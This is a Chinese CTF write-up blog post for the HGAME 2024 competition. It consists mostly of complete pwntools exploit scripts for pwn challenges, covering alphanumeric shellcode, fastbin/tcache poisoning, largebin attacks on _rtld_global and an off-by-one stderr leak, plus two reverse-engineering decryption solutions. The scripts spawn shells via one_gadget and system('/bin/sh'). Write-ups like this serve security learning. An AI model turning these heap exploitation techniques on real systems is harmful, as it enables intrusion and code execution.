0%

comp - 2024hgame-wp

谁除夕和情人节还在加班写 wp 啊😭2024要脱离 game 级别!

目录

Week1

week1 在做项目,把这事给忘了,做 week2 的时候为了找灵感做了一下 week1 的 ezshellcode

Pwn

ezshellcode

alphanumeric shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from ae64 import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '106.14.57.14:30657'.split(':')
file = './vuln'

io = remote(ip[0],int(ip[1]))
# io = process(file)

elf = ELF('./vuln')
# ---------------------------------------------------------------------
io.sendlineafter('input the length of your shellcode:',str(-1))

payload = asm(shellcraft.sh())
payload = AE64().encode(payload,'rax',0,'small')
print(payload.decode('latin-1'))
io.sendafter('input your shellcode:',payload)

io.interactive()

Week2

Pwn - AK

fastnote

libc-2.31,填满 tcachebin 的 unsortedbin leak + fastbin attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '47.102.130.35:31898'.split(':')
file = './vuln'

io = remote(ip[0],int(ip[1]))
# io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')
# ---------------------------------------------------------------------
def alloc(Index,size,content):
io.sendlineafter('Your choice:', str(1))
io.sendlineafter('Index: ', str(Index))
io.sendlineafter('Size: ', str(size))
io.sendlineafter('Content: ', content)


def show(Index):
io.sendlineafter('Your choice:', str(2))
io.sendlineafter('Index: ', str(Index))


def free(Index):
io.sendlineafter('Your choice:', str(3))
io.sendlineafter('Index: ', str(Index))
# ---------------------------------------------------------------------
payload = 'A'*4
for i in range(8):
alloc(i,0x80,payload) # chunk0-6 tcachebin, chunk7: unsortedbin

alloc(8,0x10,payload) # 防annex

for i in range(8):
free(i)

for i in range(7):
alloc(i,0x80,payload) # chunk0-6 tcachebin

payload = 'A'*7
alloc(7,0x08,payload) # 因为 read 函数貌似会把 chunk 内部用 '\x00' 填满,所以只申请0x08,可以留下 bk 里的信息

show(7)
main_arena = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x80 - 0x60
main_arena_offset = libc.sym["__malloc_hook"] + 0x10
libc_base = main_arena - main_arena_offset
print("main_arena ---> ",hex(main_arena))
print("main_arena_offset ---> ",hex(main_arena_offset))
print("libc_base ---> ",hex(libc_base))

alloc(0,0x60,payload) # 申请 unsortedbin 里面的 chunk,便于后面 alloc

# gdb.attach(io)

payload = 'a'*8
for i in range(9):
alloc(i,0x10,payload) # chunk0-6:"7 tcachebin chunks" || chunk7,8:"fastbin chunk"

for i in range(9):
free(i) # free(0-6) free(7,8)

free(7)

# gdb.attach(io) # state1

for i in range(7):
alloc(i,0x10,payload) # chunk0-6: 清空tcachebin

malloc_addr = libc_base + libc.sym['__malloc_hook']
print("malloc_addr ---> ",hex(malloc_addr))
payload = p64(malloc_addr)
alloc(7,0x10,payload) # chunk7: 劫持由fastbin生成的tcachebin链
io.sendlineafter('Your choice:', str(1))
io.sendlineafter('Index: ', str(7))
io.sendlineafter('Size: ', str(0x10))
io.sendafter('Content: ', payload)

alloc(8,0x10,payload) # chunk8: chunk8
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
payload = p64(libc_base + one_gadget[1])
alloc(9,0x10,payload) # chunk9: Any Address

# gdb.attach(io)

# alloc(10,0x10,payload) # getshell
io.sendlineafter('Your choice:', str(1))
io.sendlineafter('Index: ', str(10))
io.sendlineafter('Size: ', str(0x10))

# gdb.attach(io)

io.interactive()

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''

old_fastnote

libc-2.23,unsortedbin leak + fastbin attack,注意 fastbin chunk 的 size 域构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '106.14.57.14:32449'.split(':')
file = './vuln'

io = remote(ip[0],int(ip[1]))
# io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF('./vuln')
libc = ELF('./libc-2.23.so')
# ---------------------------------------------------------------------
def alloc(Index,size,content):
io.sendlineafter('Your choice:', str(1))
io.sendlineafter('Index: ', str(Index))
io.sendlineafter('Size: ', str(size))
io.sendlineafter('Content: ', content)


def show(Index):
io.sendlineafter('Your choice:', str(2))
io.sendlineafter('Index: ', str(Index))


def free(Index):
io.sendlineafter('Your choice:', str(3))
io.sendlineafter('Index: ', str(Index))
# ---------------------------------------------------------------------
payload = 'A'*4
for i in range(1):
alloc(i,0x80,payload) # chunk0: unsortedbin

alloc(1,0x10,payload) # chunk1 防annex

for i in range(1):
free(i)

payload = 'A'*7
alloc(0,0x08,payload) # 因为 read 函数貌似会把 chunk 内部用 '\x00' 填满,所以只申请0x08,可以留下 bk 里的信息

show(0)
main_arena = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x80 - 88
main_arena_offset = libc.sym["__malloc_hook"] + 0x10
libc_base = main_arena - main_arena_offset
print("main_arena ---> ",hex(main_arena))
print("main_arena_offset ---> ",hex(main_arena_offset))
print("libc_base ---> ",hex(libc_base))

# gdb.attach(io)

alloc(0,0x60,payload) # 申请 unsortedbin 里面的 chunk,便于后面 alloc

# gdb.attach(io)

payload = 'a'*8
for i in range(2):
alloc(i,0x60,payload) # chunk0,1:"fastbin chunk"

for i in range(2):
free(i) # free(0,1)

free(0)

# gdb.attach(io) # state1

malloc_addr = libc_base + libc.sym['__malloc_hook'] - 0xb - 0x18
print("malloc_addr ---> ",hex(malloc_addr))
payload = p64(malloc_addr)

io.sendlineafter('Your choice:', str(1))
io.sendlineafter('Index: ', str(7))
io.sendlineafter('Size: ', str(0x60))
io.sendafter('Content: ', payload)

alloc(8,0x60,payload) # chunk8: chunk8
alloc(9,0x60,payload) # chunk9: Any Address

# gdb.attach(io)

one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
payload = p64(libc_base + one_gadget[3])
payload = b'\x00'*19 + payload
io.sendlineafter('Your choice:', str(1))
io.sendlineafter('Index: ', str(10))
io.sendlineafter('Size: ', str(0x60))
io.sendafter('Content: ', payload)

io.sendlineafter('Your choice:', str(1))
io.sendlineafter('Index: ', str(10))
io.sendlineafter('Size: ', str(0x60))

# gdb.attach(io)

io.interactive()

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

eldenRing2

必须 patch 才能运行 vuln,用给的 libc.so.6 测试出来是 libc-2.31。

做法跟 fastnote 一样,填满 tcachebin 的unsortedbin leak + fastbin attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '106.14.57.14:32672'.split(':')
file = './vuln'

# io = remote(ip[0],int(ip[1]))
io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF('./vuln')
libc = ELF('./libc.so.6')
# ---------------------------------------------------------------------
def alloc(Index,size):
io.sendlineafter('>', str(1))
io.sendlineafter('Index: ', str(Index)) # 最多16个idx,不能重复使用
io.sendlineafter('Size: ', str(size)) # 最大0xFF -> 0x100

def free(Index):
io.sendlineafter('>', str(2))
io.sendlineafter('Index: ', str(Index)) # 可以 UAF

def edit(Index,content):
io.sendlineafter('>', str(3))
io.sendlineafter('Index: ', str(Index))
io.sendlineafter('Content: ', content)

def show(Index):
io.sendlineafter('>', str(4))
io.sendlineafter('Index: ', str(Index))
# ---------------------------------------------------------------------
for i in range(8):
alloc(i,0x80) # chunk0-6: tcachebin; chunk7: unsortedbin

alloc(8,0x10) # chunk8: 防 annex

for i in range(8):
free(i)

show(7)
main_arena = u64(io.recvuntil('\x7f').ljust(8,b'\x00')) - 0x60
print('main_arena ---> ',hex(main_arena))
libc_base = main_arena - 0x1ECB80
print('libc_base ---> ',hex(libc_base))
__malloc_hook = libc_base + libc.sym['__malloc_hook']
print('__malloc_hook ---> ',hex(__malloc_hook))


payload = p64(__malloc_hook)
edit(6,payload)

gdb.attach(io)

alloc(9,0x80)

gdb.attach(io)

alloc(10,0x80)

gdb.attach(io)

one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
for i in range(len(one_gadget)):
one_gadget[i] += libc_base

payload = p64(one_gadget[1])
io.sendlineafter('>', str(3))
io.sendlineafter('Index: ', str(10))
io.sendafter('Content: ', payload)


io.sendlineafter('>', str(1))
io.sendlineafter('Index: ', str(11))
io.sendlineafter('Size: ', str(0x10))

# gdb.attach(io)

io.interactive()

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''

ShellcodeMaster

这题卡了最久…观察程序 context 然后研究怎么压缩 shellcode,整了老半天

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '106.14.57.14:31224'.split(':')
file = './vuln'

# io = remote(ip[0],int(ip[1]))
io = process(file)

# elf = ELF('./vuln')
# ---------------------------------------------------------------------
code = '''
xor eax, eax
cdq
mov al, 10
xchg rdi, r15
mov dl, 7
syscall
xor eax, eax
xchg esi, edi
xor edi, edi
xchg edx, ebx
syscall
'''
shellcode1 = '''
mov rdi,0x2333008
xor esi,esi
mov rax,2
syscall
xor edx,edx
mov rdi,3
mov rdx,0x50
mov esi,0x2333100
mov rax,0
syscall
mov rdi,1
mov rdx,0x50
mov esi,0x2333100
mov rax,1
syscall
'''
payload1 = asm(shellcode1)

shellcode=asm(code)
print(len(shellcode))
payload = b'\x90'*(len(shellcode)-14) + b'flag\x00\x00\x00\x00' + b'\x90'*8 + payload1

# gdb.attach(io,'n 27')

io.sendafter('bytes shellcode\n\n',shellcode)

io.send(payload)

io.interactive()

Rev - 2/4

ezcpp

这题读 cpp 的部分相当简单,核心加密部分用的 Tea,不过魔改了加密的 block,只加密了前12bytes,还魔改了加密前 8bytes 时的 delta.

babyre

多线程处理,不过每一次加密都是原子的,idx是全局变量,等前一个thread释放以后下一个thread才能处理,所以数组每一个元素都被加密一次,整个程序使用类似于 ECB 的方式加密。

所以我们可以用最后一位也就是藏在 flag 后面的的 flag[33] 来一位一位的向前解密

但这题比较恶心的点就是,触发 SIGFPE 会flag[33]++,在加密flag[32]也就是}这个字符时有一定的变化

其次,触发 SIGFPE 还会让 ‘feifei’ 这个 key 再被 xor 0x11 一轮,所以中间的 key 值会更改好几次,我们还没办法具体预测哪里触发了 SIGFPE 。

但根据 flag 的前几位为hgame{,我们可以用 try-except 来从前向后解密,如果发现出现的字符不对,或者抛出异常,我们就可以确定原程序这里触发了 SIGFPE,我们就自行对 key 值 xor,这样到最后也不用管 flag[33] 了

python 处理可能会溢出的数据一定要记得 & 0x..FF 取低位字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
encflag = [0x00002F14, 0x0000004E, 0x00004FF3, 0x0000006D, 0x000032D8, 0x0000006D, 0x00006B4B, 0xFFFFFF92, 0x0000264F, 0x0000005B, 0x000052FB, 0xFFFFFF9C, 0x00002B71, 0x00000014, 0x00002A6F, 0xFFFFFF95, 0x000028FA, 0x0000001D, 0x00002989, 0xFFFFFF9B, 0x000028B4, 0x0000004E, 0x00004506, 0xFFFFFFDA, 0x0000177B, 0xFFFFFFFC, 0x000040CE, 0x0000007D, 0x000029E3, 0x0000000F, 0x00001F11, 0x000000FF,0xFa]
flag = 'hgame{yo23412341234123412341234}'
key = list('wtxwtx')
flag = list(flag)

for i in range(len(flag)):
flag[i] = ord(flag[i])

for i in range(len(key)):
key[i] = ord(key[i])

for i in range(6):
print(chr(flag[i]),end='')

exc = [8,11,14,17,20,23,26,29] # 观察规律可知 exception_point = [x for x in range(8,30,3)]

for i in range(5,30):
if i in exc:
for j in range(6):
key[j] = key[j] ^ 0x11
if i % 4 == 0:
flag[i+1] = (encflag[i] - flag[i]) // key[(i+1)%6]
print(chr(flag[i+1]),end='')
elif i % 4 == 1:
flag[i+1] = ((flag[i] - encflag[i]) & 0xFFFFFFFF) ^ key[(i+1)%6]
print(chr(flag[i+1]),end='')
elif i % 4 == 2:
flag[i+1] = (encflag[i] // flag[i]) - key[(i+1)%6]
print(chr(flag[i+1]),end='')
elif i % 4 == 3:
flag[i+1] = ((flag[i] ^ encflag[i]) + key[(i+1)%6]) & 0xFFFFFFFF
print(chr(flag[i+1]),end='')

print(chr(flag[31]),end='')

Week3

Pwn - 一血

EldenRing3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '106.14.57.14:30208'.split(':')
file = './vuln'

# io = remote(ip[0],int(ip[1]))
io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF(file)
libc = ELF('./libc.so.6')
# ---------------------------------------------------------------------
def alloc(Index,size,content):
io.sendlineafter('>', str(1))
io.sendlineafter('Index: ', str(Index))
io.sendlineafter('Size: ', str(size))

def free(Index):
io.sendlineafter('>', str(2))
io.sendlineafter('Index: ', str(Index))

def edit(Index,content):
io.sendlineafter('>', str(3))
io.sendlineafter('Index: ', str(Index))
io.sendafter('Content: ', content)

def show(Index):
io.sendlineafter('>', str(4))
io.sendlineafter('Index: ', str(Index))
# ---------------------------------------------------------------------

# leak libc
payload = 'a'*8
alloc(0,0x500,payload)
alloc(1,0x500,payload) # avoid annexing
free(0)
payload = '\x01'
edit(0,payload)
show(0)

main_arena = u64(io.recvuntil('\x7f').ljust(8,b'\x00')) - 0x01 - 0x60
libc_base = main_arena - (libc.sym['__malloc_hook'] + 0x10)
large_bin = main_arena + 0x60 + 1072
rtld_global = libc_base + 0x21b040


payload = '\x00'
edit(0,payload)
free(1)

# leak heap
alloc(0,0x5f0,payload)
free(0)
alloc(1,0x500,payload)
alloc(2,0x500,payload)
alloc(3,0x5f0,payload)
free(3)
alloc(4,0x500,payload)
alloc(5,0x500,payload)

payload = b'\x00'*0x500 + p64(0) + p64(0x21) + p64(0) + p64(0) + p64(0) + p64(0x4f1)
edit(0,payload)
edit(3,payload)

free(2)
free(5)
show(2)

heap_base = u64(io.recvuntil('\x0A')[-6:-1].ljust(8,b'\x00')) << 12
print('heap_base ---> ',hex(heap_base))

payload = b'\x00'*0x500 + p64(0) + p64(0x511) + p64(0) + p64(0)
edit(0,payload)
edit(3,payload)

free(1)
free(2)
free(4)
free(5)

# largebin attack

payload = '\x00'
alloc(0,0x528,payload)
alloc(1,0x508,payload)
alloc(2,0x518,payload)
alloc(3,0x500,payload)
free(0)
alloc(4,0x538,payload)
free(2)

print('rtld_global1 ---> ',hex(rtld_global))
rtld_global = libc_base + ELF('ld-linux-x86-64.so.2').sym['_rtld_global']
print('rtld_global2 ---> ',hex(rtld_global))

# gdb.attach(io,'n 280')

payload = p64(0)*3+p64(rtld_global - 0x31028 - 0x20)
edit(0,payload)
alloc(5,0x600,payload)

# gdb.attach(io,'n 280')

fake_rtld_global = heap_base + 0xcd0 + 0x10
one_gadget = [0xdf54c, 0xdf54f, 0xdf552]
for i in range(3):
one_gadget[i] += libc_base

fake_rtld_global = heap_base + 0xcd0
payload = p64(0)*3 + p64(fake_rtld_global)
payload = payload.ljust(0x38,b'\x00')

payload += p64(fake_rtld_global + 0x58) + p64(0x8) + p64(one_gadget[0])
payload = payload.ljust(0x100,b'\x00')

payload += p64(fake_rtld_global + 0x40) + p64(0)
payload += p64(fake_rtld_global + 0x48) # 0x128
payload = payload.ljust(0x30c,b'\x00')
payload += p64(0x1c)
edit(2,payload)
edit(1,b'b'*0x500 + p64(0))
# ---------------------------------------------------------------------

# gdb.attach(io)
# gdb.attach(io,'n 279')

next_node = rtld_global - 0x31028
print('main_arena ---> ',hex(main_arena))
print('libc_base ---> ',hex(libc_base))
print('rtld_global ---> ',hex(rtld_global))
print('next_node ---> ',hex(next_node))
# print('set_context ---> ',hex(set_context))
# print('ret ---> ',hex(ret))
# print('pop_rdi ---> ',hex(pop_rdi))
# print('binsh_addr ---> ',hex(binsh_addr))
# print('system_addr ---> ',hex(system_addr))

# pause()

io.sendline(str(5))
io.interactive()

'''
0xdf54c execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xdf54f execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xdf552 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''

# loadfolder /mnt/e/EdgeDownload/libcTools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/.debug/.build-id

你满了,那我就漫出来了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '139.196.137.203:32320'.split(':')
file = './vuln'

# io = remote(ip[0],int(ip[1]))
io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF(file)
libc = ELF('./libc-2.27.so')
# ---------------------------------------------------------------------
def alloc(Index,size,content):
io.sendlineafter('Your choice:', str(1))
io.sendlineafter('Index: ', str(Index))
io.sendlineafter('Size: ', str(size))
io.sendafter('Content: ', content)


def show(Index):
io.sendlineafter('Your choice:', str(2))
io.sendlineafter('Index: ', str(Index))


def free(Index):
io.sendlineafter('Your choice:', str(3))
io.sendlineafter('Index: ', str(Index))
# ---------------------------------------------------------------------
payload = 'a'*0x17
alloc(0,0x88,payload) # 0 unsortedbin overlap
alloc(1,0x18,payload) # 1 tcachebin poisoning
alloc(2,0xf8,payload) # 2 trigger chunk

free(1)

# gdb.attach(io)

for i in range(7):
alloc(i+3,0x88,payload) # 3-9 tcachebin 0x88

for i in range(7):
free(i+3)

free(0) # chunk0 -> unsortedbin

payload = b'a'*0x10 + p64(0xb0)
alloc(1,0x18,payload)

for i in range(7):
alloc(i+3,0xf8,payload) # 3-9 tcachebin 0xf8

for i in range(7):
free(i+3)

free(2)

for i in range(7):
alloc(i+3,0x80,payload)

alloc(15,0x80,payload)

show(1)

main_arena = u64(io.recvuntil('\x7f').ljust(8,b'\x00')) - 0x60
libc_base = main_arena - (libc.sym['__malloc_hook']+0x10)
# malloc_hook = libc_base + libc.sym['__malloc_hook']
# one_gadget = [0x4f2a5, 0x4f302, 0x10a2fc]
# for i in range(len(one_gadget)):
# one_gadget[i] += libc_base
free_hook = libc_base + libc.sym['__free_hook']
sys_addr = libc_base + libc.sym['system']

for i in range(7):
free(i+3)

free(15)

payload = b'\x00'*0x88 + p64(0x21)
alloc(15,0xa0,payload)
free(1) # put chunk8 into tcachebin

for i in range(7):
alloc(i+3,0xf0,payload) # 3-9 0x100 tcachebin

alloc(14,0xf0,payload)

for i in range(7): # 3-9 0x100 tcachebin
free(i+3)

for i in range(7):
alloc(i+3,0xa0,payload) # 3-9 0xb0 tcachebin

for i in range(7): # 3-9 0xb0 tcachebin
free(i+3)

free(15)
free(14)

payload = b'\x00'*0x88 + p64(0x21) + p64(free_hook)

for i in range(7):
alloc(i+3,0xa0,payload)

print('libc_base ---> ',hex(libc_base))
print('free_hook ---> ',hex(free_hook))
print('sys_addr ---> ',hex(sys_addr))

alloc(15,0xa0,payload)
payload = '/bin/sh'
alloc(14,0x18,payload)
payload = p64(sys_addr)
alloc(13,0x18,payload)

free(14)

# gdb.attach(io)

io.interactive(pre="ls\n")

'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

Week4

Pwn

EldenRing Final

开学一直没时间打,比赛结束了复现一下这道题,只复现到了 leak stderr 的部分,后面的部分就只是 overlap + fastbin 打 malloc_hook

1
2
# 查看结构体
p *(struct _IO_FILE*)_IO_2_1_stderr_
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '139.196.137.203:32320'.split(':')
file = './vuln'

# io = remote(ip[0],int(ip[1]))
io = process(file)

elf = ELF(file)
libc = ELF('./libc-2.23.so')
# ---------------------------------------------------------------------
def allocPage():
io.sendlineafter('>\n', str(1))
# 生成两个相连的0x20大小的chunk

def deletePage(Index):
io.sendlineafter('>\n', str(2))
io.sendlineafter('which page?\n>\n', str(Index))
# free 掉第一个0x20大小的chunk

def allocNote(pageID,size,content):
io.sendlineafter('>\n', str(3))
io.sendlineafter(' attach to?\n>\n', str(pageID))
io.sendlineafter('size:\n>\n', str(size))
io.sendafter('content:\n>\n', content)
# 生成一个size = 0x20的chunk,再生成一个size <= 0x100的chunk,这里有off-by-one

def deleteNote(pageID,noteID):
io.sendlineafter('>\n', str(4))
io.sendlineafter('which page_ID?\n>\n', str(pageID))
io.sendlineafter('which note_ID would you like to delete?\n>\n', str(noteID))
# 先 free 掉 后生成的chunk,再 free 掉前生成的chunk


def dbg(is_dbg):
if is_dbg:
gdb.attach(io,gdbinit)
else:
gdb.attach(io)

def info(name,value):
print('{} ---> {}'.format(name, hex(value)))

gdbinit = '''
b *0x400B69
b *0x400B6E
c
record
c
'''
# ---------------------------------------------------------------------

while True:
try:
io = process(file)
# 归并不能write的chunk
payload = 'a'*8
allocNote(0,0x20,payload)
allocNote(0,0x20,payload)
allocNote(0,0x20,payload)
allocNote(0,0x20,payload)
allocNote(0,0x20,payload)
deleteNote(0,1)
deleteNote(0,2)
deleteNote(0,3)
deleteNote(0,4)

# off-by-one leak stderr
allocNote(0,0x18,b'6')
allocNote(0,0xf8,b'7')
allocNote(0,0x68,b'8')
allocNote(0,0x68,b'9')
allocNote(0,0x18,b'10')
deleteNote(0,6)
allocNote(0,0x18,b'a'*0x18 + b'\xe1')
deleteNote(0,7)
deleteNote(0,8)

allocNote(0,0xd8,b'\xd8')
allocNote(0,0x18,b'\x18')
allocNote(0,0x18,b'\xdd\x45')
deleteNote(0,13)
allocNote(0,0x18,p64(0)*3+b'\x71')
allocNote(0,0x68,b'\x68')
payload = b'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x58'
dbg(1)
allocNote(0,0x68,payload)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['_IO_2_1_stderr_'] - 0x163
info('libc_base',libc_base)
except:
io.close()
else:
break

one_gadget = [0x45206,0x4525a,0xef9f4,0xf0897]
for i in range(4):
one_gadget[i] = libc_base + one_gadget[i]
malloc_hook = libc_base + libc.sym['__malloc_hook']

io.interactive()

# 本题思想:
# 1. 给结构体申请chunk时,通常会把能write的部分隔离开来,所以我们需要先通过fastbin,把“不能write的部分”放在一起
# 2. 逆向比较复杂的堆题时,要把每个函数抽象成“对 heap 的操作”,方便理解
-------------文章就到这里啦!感谢您的阅读XD-------------